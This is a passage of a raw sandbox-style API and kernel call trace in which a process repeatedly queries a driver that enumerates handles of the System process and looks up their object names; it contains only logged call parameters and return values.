hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.976] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.977] PsAcquireProcessExitSynchronization () returned 0x0 [0134.977] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.977] ObReferenceObjectByHandle (in: Handle=0xffffffff80000138, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8008fae050, HandleInformation=0x0) returned 0x0 [0134.977] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.977] PsReleaseProcessExitSynchronization () returned 0x2 [0134.977] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.977] ObfDereferenceObject (Object=0xfffffa8008fae050) returned 0x1 [0134.977] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.977] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.977] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0134.977] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.977] PsAcquireProcessExitSynchronization () returned 0x0 [0134.977] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.977] ObReferenceObjectByHandle (in: Handle=0xffffffff8000013c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8006dfd050, HandleInformation=0x0) returned 0x0 [0134.977] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.977] PsReleaseProcessExitSynchronization () returned 0x2 [0134.977] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.977] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.977] ObfDereferenceObject (Object=0xfffffa8006dfd050) returned 0x1 [0134.977] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.977] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.977] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.977] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0134.977] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.977] PsAcquireProcessExitSynchronization () returned 0x0 [0134.977] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.977] ObReferenceObjectByHandle (in: Handle=0xffffffff80000140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002910f20, HandleInformation=0x0) returned 0x0 [0134.977] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.977] PsReleaseProcessExitSynchronization () returned 0x2 [0134.977] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.977] ObQueryNameString (in: Object=0xfffffa8002910f20, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.978] ObfDereferenceObject (Object=0xfffffa8002910f20) returned 0x1 [0134.978] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.978] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.978] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0134.978] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.978] PsAcquireProcessExitSynchronization () returned 0x0 [0134.978] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.978] ObReferenceObjectByHandle (in: Handle=0xffffffff80000148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003be2f20, HandleInformation=0x0) returned 0x0 [0134.978] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.978] PsReleaseProcessExitSynchronization () returned 0x2 [0134.978] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.978] ObQueryNameString (in: Object=0xfffffa8003be2f20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.978] ObfDereferenceObject (Object=0xfffffa8003be2f20) returned 0x1 [0134.978] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.978] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.978] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.978] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0134.978] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.978] PsAcquireProcessExitSynchronization () returned 0x0 [0134.978] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.978] ObReferenceObjectByHandle (in: Handle=0xffffffff80000154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80043f1b50, HandleInformation=0x0) returned 0x0 [0134.978] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.978] PsReleaseProcessExitSynchronization () returned 0x2 [0134.978] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.978] ObQueryNameString (in: Object=0xfffffa80043f1b50, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.978] ObfDereferenceObject (Object=0xfffffa80043f1b50) returned 0x1 [0134.978] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.979] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.979] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0134.979] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.979] PsAcquireProcessExitSynchronization () returned 0x0 [0134.979] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.979] ObReferenceObjectByHandle (in: Handle=0xffffffff80000158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80067fad00, HandleInformation=0x0) returned 0x0 [0134.979] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.979] PsReleaseProcessExitSynchronization () returned 0x2 [0134.979] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.979] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.979] ObfDereferenceObject (Object=0xfffffa80067fad00) returned 0x1 [0134.979] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.979] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.979] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x52, lpOverlapped=0x0) returned 1 [0134.979] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.979] PsAcquireProcessExitSynchronization () returned 0x0 [0134.979] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.979] ObReferenceObjectByHandle (in: Handle=0xffffffff8000015c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003673de0, HandleInformation=0x0) returned 0x0 [0134.979] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.979] PsReleaseProcessExitSynchronization () returned 0x2 [0134.979] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.979] ObQueryNameString (in: Object=0xfffffa8003673de0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.979] ObfDereferenceObject (Object=0xfffffa8003673de0) returned 0x2 [0134.979] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.979] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.979] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.979] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x4a, lpOverlapped=0x0) returned 1 [0134.979] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.979] PsAcquireProcessExitSynchronization () returned 0x0 [0134.979] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.979] ObReferenceObjectByHandle (in: Handle=0xffffffff80000160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80043f1400, HandleInformation=0x0) returned 0x0 [0134.980] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.980] PsReleaseProcessExitSynchronization () returned 0x2 [0134.980] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.980] ObQueryNameString (in: Object=0xfffffa80043f1400, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.980] ObfDereferenceObject (Object=0xfffffa80043f1400) returned 0x1 [0134.980] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.980] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.980] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0134.980] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.980] PsAcquireProcessExitSynchronization () returned 0x0 [0134.980] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.980] ObReferenceObjectByHandle (in: Handle=0xffffffff80000164, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002df8f20, HandleInformation=0x0) returned 0x0 [0134.980] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.980] PsReleaseProcessExitSynchronization () returned 0x2 [0134.980] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.980] ObQueryNameString (in: Object=0xfffffa8002df8f20, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0134.980] ObfDereferenceObject (Object=0xfffffa8002df8f20) returned 0x1 [0134.980] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.980] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.980] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.980] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0134.980] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.980] PsAcquireProcessExitSynchronization () returned 0x0 [0134.980] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.980] ObReferenceObjectByHandle (in: Handle=0xffffffff80000168, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002df8c90, HandleInformation=0x0) returned 0x0 [0134.980] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.980] PsReleaseProcessExitSynchronization () returned 0x2 [0134.980] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.980] ObQueryNameString (in: Object=0xfffffa8002df8c90, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0134.981] ObfDereferenceObject (Object=0xfffffa8002df8c90) returned 0x1 [0134.981] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.981] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.981] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0134.981] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.981] PsAcquireProcessExitSynchronization () returned 0x0 [0134.981] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.981] ObReferenceObjectByHandle (in: Handle=0xffffffff8000016c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8004bd9e60, HandleInformation=0x0) returned 0x0 [0134.981] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.981] PsReleaseProcessExitSynchronization () returned 0x2 [0134.981] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.981] ObQueryNameString (in: Object=0xfffffa8004bd9e60, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0134.981] ObfDereferenceObject (Object=0xfffffa8004bd9e60) returned 0x1 [0134.981] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.981] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.981] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.981] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0134.981] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.981] PsAcquireProcessExitSynchronization () returned 0x0 [0134.981] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.981] ObReferenceObjectByHandle (in: Handle=0xffffffff80000170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002df9bd0, HandleInformation=0x0) returned 0x0 [0134.981] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.981] PsReleaseProcessExitSynchronization () returned 0x2 [0134.981] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.981] ObQueryNameString (in: Object=0xfffffa8002df9bd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0134.981] ObfDereferenceObject (Object=0xfffffa8002df9bd0) returned 0x1 [0134.981] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.982] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.982] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa8, lpOverlapped=0x0) returned 1 [0134.982] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.982] PsAcquireProcessExitSynchronization () returned 0x0 [0134.982] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.982] ObReferenceObjectByHandle (in: Handle=0xffffffff80000194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002dfabf0, HandleInformation=0x0) returned 0x0 [0134.982] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.982] PsReleaseProcessExitSynchronization () returned 0x2 [0134.982] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.982] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.982] ObfDereferenceObject (Object=0xfffffa8002dfabf0) returned 0x21 [0134.982] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.982] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.982] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0134.982] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.982] PsAcquireProcessExitSynchronization () returned 0x0 [0134.982] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.982] ObReferenceObjectByHandle (in: Handle=0xffffffff80000198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002e4a050, HandleInformation=0x0) returned 0x0 [0134.982] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.982] PsReleaseProcessExitSynchronization () returned 0x2 [0134.982] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.982] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.982] ObfDereferenceObject (Object=0xfffffa8002e4a050) returned 0x1 [0134.982] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.982] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.982] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.982] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0134.982] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.982] PsAcquireProcessExitSynchronization () returned 0x0 [0134.982] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0134.982] ObReferenceObjectByHandle (in: Handle=0xffffffff800001b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002e5dd00, HandleInformation=0x0) returned 0x0 [0134.982] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0134.982] PsReleaseProcessExitSynchronization () returned 0x2 [0134.983] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0134.983] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473508) returned 0x0 [0134.983] ObfDereferenceObject (Object=0xfffffa8002e5dd00) returned 0x1 [0134.983] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0134.983] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0134.983] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0134.983] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x62, lpOverlapped=0x0) returned 1 [0134.983] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0134.983] PsAcquireProcessExitSynchronization () returned 0x0 [0134.983] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, 